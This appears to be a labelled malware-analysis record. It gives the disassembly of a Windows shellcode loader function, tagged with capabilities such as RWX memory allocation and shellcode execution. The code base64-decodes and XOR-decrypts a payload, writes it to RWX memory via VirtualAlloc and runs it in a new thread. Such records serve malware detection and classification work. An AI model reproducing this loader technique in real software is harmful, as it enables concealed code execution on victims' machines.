Function at 0x1400016e9
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x188
lea rbp, [rsp + 0x80]
call dbg.__main
mov dword [rbp + 0xfc], 0x1000
mov dword [rbp + 0xf8], 0x40
mov rax, rbp
mov rcx, rax
call fcn.140003b00
lea rax, [rbp + 0x6f]
mov qword [rbp + 0xc8], rax
nop
nop
mov rdx, qword [section..data]
lea rcx, [rbp + 0x6f]
lea rax, [rbp + 0x40]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x20]
lea rdx, [rbp + 0x40]
mov rcx, rax
call sym.base64Decode_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rdx, [rbp + 0x20]
mov rax, rbp
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.operator_std::vector_unsigned_char__std::allocator_unsigned_char____
lea rax, [rbp + 0x20]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.vector__
lea rax, [rbp + 0x40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x6f]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp - 0x20]
mov rcx, rax
call fcn.140003b00
lea rax, [rbp + 0xbf]
mov qword [rbp + 0xc0], rax
nop
nop
mov rdx, qword [str.Gg]
lea rcx, [rbp + 0xbf]
lea rax, [rbp + 0x90]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x70]
lea rdx, [rbp + 0x90]
mov rcx, rax
call sym.base64Decode_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rdx, [rbp + 0x70]
lea rax, [rbp - 0x20]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.operator_std::vector_unsigned_char__std::allocator_unsigned_char____
lea rax, [rbp + 0x70]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.vector__
lea rax, [rbp + 0x90]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0xbf]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp - 0x20]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.size___const
cmp rax, 1
setne al
test al, al
je 0x140001864
mov ecx, 0x10
call sym.__cxa_allocate_exception
mov rbx, rax
lea rax, str.Key_must_be_a_single_byte.
mov rdx, rax
mov rcx, rbx
call sym.std::runtime_error::runtime_error_char_const_
mov r8, qword [0x14001d1e0]
lea rax, sym.imp.libstdc_6.dll_operator_new_unsigned_long_long_
mov rdx, rax
mov rcx, rbx
call sym.__cxa_throw
lea rax, [rbp - 0x20]
mov edx, 0
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.operator___unsigned_long_long_
movzx eax, byte [rax]
mov byte [rbp + 0xf7], al
movzx ecx, byte [rbp + 0xf7]
lea rax, [rbp - 0x40]
mov rdx, rbp
mov r8d, ecx
mov rcx, rax
call sym.xorDecrypt_std::vector_unsigned_char__std::allocator_unsigned_char____const__unsigned_char_
lea rax, [rbp - 0x40]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.size___const
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0xe8], rax
cmp qword [rbp + 0xe8], 0
jne 0x140001906
lea rax, str.Failed_to_allocate_memory.
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cerr]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [0x14001d200]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov ebx, 1
jmp 0x140001a20
lea rax, [rbp - 0x40]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.size___const
mov rbx, rax
lea rax, [rbp - 0x40]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.data__
mov rdx, rax
mov rax, qword [rbp + 0xe8]
mov r8, rbx
mov rcx, rax
call sym.memcpy
mov dword [rbp - 0x44], 0
mov rdx, qword [rbp + 0xe8]
lea rax, [rbp - 0x44]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8, rdx
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp + 0xe0], rax
cmp qword [rbp + 0xe0], 0
jne 0x1400019d2
lea rax, str.Failed_to_create_thread.
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cerr]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [0x14001d200]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov rax, qword [rbp + 0xe8]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov ebx, 1
jmp 0x140001a20
mov rax, qword [rbp + 0xe0]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp + 0xe0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0xe8]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov ebx, 0
lea rax, [rbp - 0x40]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.vector__
lea rax, [rbp - 0x20]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.vector__
mov rax, rbp
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.vector__
mov eax, ebx
jmp 0x140001c13
add rsp, 0x188
pop rbx
pop rsi
pop rdi
pop rbp
ret